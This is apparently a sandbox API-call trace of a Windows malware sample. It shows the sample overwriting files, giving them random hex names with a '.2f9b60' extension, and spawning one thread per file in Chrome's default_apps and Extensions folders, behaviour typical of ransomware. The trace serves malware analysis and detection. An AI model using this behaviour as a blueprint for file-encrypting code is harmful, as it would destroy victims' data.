RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x3e6d0561 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x57305600 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x1447972c [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x1d684d22 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x488b5adc [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x5dcf0bb1 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x65e08241 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x42715761 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x23449382 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x2f65b064 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x41da88dd [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x17386f9 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x24a9cc5f [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x669fdb12 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x6c9b3aa3 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x202c0c98 [0154.602] RtlRandomEx (in: Seed=0x2de8f570 | out: Seed=0x2de8f570) returned 0x15833dd3 [0154.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9c20 [0154.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c7c0 [0154.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9c50 [0154.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c7c0) returned 1 [0154.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9bf0) returned 1 [0154.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1ed0 [0154.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c7c0 [0154.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42828ed0 [0154.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4282cae0 [0154.611] ReadFile (in: hFile=0x538, lpBuffer=0x42828ed0, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0x2de8f570, lpOverlapped=0x0 | out: lpBuffer=0x42828ed0*, lpNumberOfBytesRead=0x2de8f570*=0x57f, lpOverlapped=0x0) returned 1 [0154.611] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.611] WriteFile (hFile=0x538, lpBuffer=0x4282cae0, nNumberOfBytesToWrite=0x57f, lpNumberOfBytesWritten=0x2de8f574, lpOverlapped=0x0) [0186.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9560 [0186.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9590 [0186.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9590) returned 1 [0186.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4282cae0) returned 1 [0186.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42828ed0) returned 1 [0186.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c7c0) returned 1 [0186.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1ed0) returned 1 [0186.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1ce5cfb0 [0186.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1ed0 [0186.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c7c0 [0186.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9590 [0186.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9590) returned 1 [0186.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1ce5cff0 [0186.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9590 [0186.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec95c0 [0186.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec95c0) returned 1 [0186.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c7c0) returned 1 [0186.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1ed0) returned 1 [0186.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c201c0 [0186.401] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.401] WriteFile (in: hFile=0x538, lpBuffer=0x42c201c0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2de8f690, lpOverlapped=0x0 | out: lpBuffer=0x42c201c0*, lpNumberOfBytesWritten=0x2de8f690*=0x11a, lpOverlapped=0x0) returned 1 [0207.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9aa0 [0207.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9aa0) returned 1 [0207.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cdd9aa0 [0207.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9a70 [0207.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd99b0 [0207.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd99b0) returned 1 [0207.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd86250 [0207.141] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="f1") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="f2") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="30") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="07") returned 2 [0207.141] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="2d") returned 2 [0207.141] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="30") returned 2 [0207.141] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="38") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="b6") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="13") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="02") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="5b") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.141] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="95") returned 2 [0207.141] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="0d") returned 2 [0207.141] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="59") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="22") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="46") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="77") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="5f") returned 2 [0207.141] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="e4") returned 2 [0207.141] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="d5") returned 2 [0207.141] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="61") returned 2 [0207.141] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="e2") returned 2 [0207.142] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="be") returned 2 [0207.142] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="47") returned 2 [0207.142] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="fc") returned 2 [0207.142] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="67") returned 2 [0207.142] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="91") returned 2 [0207.142] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="9f") returned 2 [0207.142] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="65") returned 2 [0207.142] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="51") returned 2 [0207.142] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="1e") returned 2 [0207.142] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="86") returned 2 [0207.142] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="f1") returned 2 [0207.142] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="8b") returned 2 [0207.142] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.142] sprintf (in: _Dest=0x1cd8629c, _Format="%c%c" | out: _Dest="8c") returned 2 [0207.142] sprintf (in: _Dest=0x1cd8629e, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.142] RtlInitAnsiString (in: DestinationString=0x2de8f708, SourceString="f1f2b930072d3038b613025b6e950d592246ab775fe4d561e2be47fc67919f65511e86f18bb98cb9" | out: DestinationString="f1f2b930072d3038b613025b6e950d592246ab775fe4d561e2be47fc67919f65511e86f18bb98cb9") [0207.142] RtlAnsiStringToUnicodeString (in: DestinationString=0x2de8f6d8, SourceString="f1f2b930072d3038b613025b6e950d592246ab775fe4d561e2be47fc67919f65511e86f18bb98cb9", AllocateDestinationString=1 | out: DestinationString="f1f2b930072d3038b613025b6e950d592246ab775fe4d561e2be47fc67919f65511e86f18bb98cb9") returned 0x0 [0207.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43150560 [0207.142] wcscat (in: _Dest=0x43128de0, _Source="f1f2b930072d3038b613" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f1f2b930072d3038b613") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f1f2b930072d3038b613" [0207.142] wcscat (in: _Dest=0x43128de0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f1f2b930072d3038b613.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f1f2b930072d3038b613.2f9b60" [0207.143] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f1f2b930072d3038b613.2f9b60", NtPathName=0x2de8f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\f1f2b930072d3038b613.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1ced0f20 [0240.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0f20) returned 1 [0240.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43168950) returned 1 [0240.649] NtQueryInformationFile (in: FileHandle=0x538, IoStatusBlock=0x2de8f718, FileInformation=0x2de8f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2de8f718, FileInformation=0x2de8f728) returned 0x0 [0240.649] NtSetInformationFile (FileHandle=0x538, IoStatusBlock=0x2de8f718, FileInformation=0x2de8f728, Length=0x28, FileInformationClass=0x4) Thread: id = 2503 os_tid = 0x1f90 [0154.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65970 [0154.541] wcscpy (in: _Dest=0x1cd65970, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0154.541] wcscat (in: _Dest=0x1cd65970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0154.541] wcscat (in: _Dest=0x1cd65970, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*" [0154.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce201b0 [0154.542] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced56e0 [0154.559] wcscmp (_String1=".", _String2=".") returned 0 [0154.559] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.559] wcscmp (_String1="..", _String2=".") returned 1 [0154.559] wcscmp (_String1="..", _String2="..") returned 0 [0154.559] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea6c768, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1 [0154.559] wcscmp (_String1="docs.crx", _String2=".") returned 1 [0154.559] wcscmp (_String1="docs.crx", _String2="..") returned 1 [0154.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202797f0 [0154.560] wcscpy (in: _Dest=0x202797f0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0154.560] wcscat (in: _Dest=0x202797f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0154.560] wcscat (in: _Dest=0x202797f0, _Source="docs.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx" [0158.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202797f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0158.821] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea82701, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x63d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="drive.crx", cAlternateFileName="")) returned 1 [0158.821] wcscmp (_String1="drive.crx", _String2=".") returned 1 [0158.821] wcscmp (_String1="drive.crx", _String2="..") returned 1 [0158.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107000 [0158.821] wcscpy (in: _Dest=0x107000, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0158.821] wcscat (in: _Dest=0x107000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0158.821] wcscat (in: _Dest=0x107000, _Source="drive.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx" [0158.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0158.822] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeab0d44, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 1 [0158.822] wcscmp (_String1="external_extensions.json", _String2=".") returned 1 [0158.822] wcscmp (_String1="external_extensions.json", _String2="..") returned 1 [0158.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1cecf860 [0158.822] wcscpy (in: _Dest=0x1cecf860, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0158.822] wcscat (in: _Dest=0x1cecf860, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0158.822] wcscat (in: _Dest=0x1cecf860, _Source="external_extensions.json" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json" [0158.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecf860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44 [0158.823] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea9adab, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmail.crx", cAlternateFileName="")) returned 1 [0158.823] wcscmp (_String1="gmail.crx", _String2=".") returned 1 [0158.823] wcscmp (_String1="gmail.crx", _String2="..") returned 1 [0158.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107540 [0158.823] wcscpy (in: _Dest=0x107540, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0158.823] wcscat (in: _Dest=0x107540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0158.824] wcscat (in: _Dest=0x107540, _Source="gmail.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx" [0158.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0158.824] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 1 [0158.824] wcscmp (_String1="youtube.crx", _String2=".") returned 1 [0158.824] wcscmp (_String1="youtube.crx", _String2="..") returned 1 [0158.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x108140 [0158.825] wcscpy (in: _Dest=0x108140, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0158.825] wcscat (in: _Dest=0x108140, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0158.825] wcscat (in: _Dest=0x108140, _Source="youtube.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx" [0158.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x108140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0158.826] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeaa9811, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="youtube.crx", cAlternateFileName="")) returned 0 [0158.826] FindClose (in: hFindFile=0x1ced56e0 | out: hFindFile=0x1ced56e0) returned 1 [0158.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce201b0) returned 1 [0158.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65970) returned 1 [0158.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 Thread: id = 2504 os_tid = 0x1f94 [0154.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205c5b0 [0154.614] wcscpy (in: _Dest=0x4205c5b0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" [0154.614] wcscat (in: _Dest=0x4205c5b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\" [0154.614] wcscat (in: _Dest=0x4205c5b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*" [0154.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce212c0 [0154.614] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*", lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, 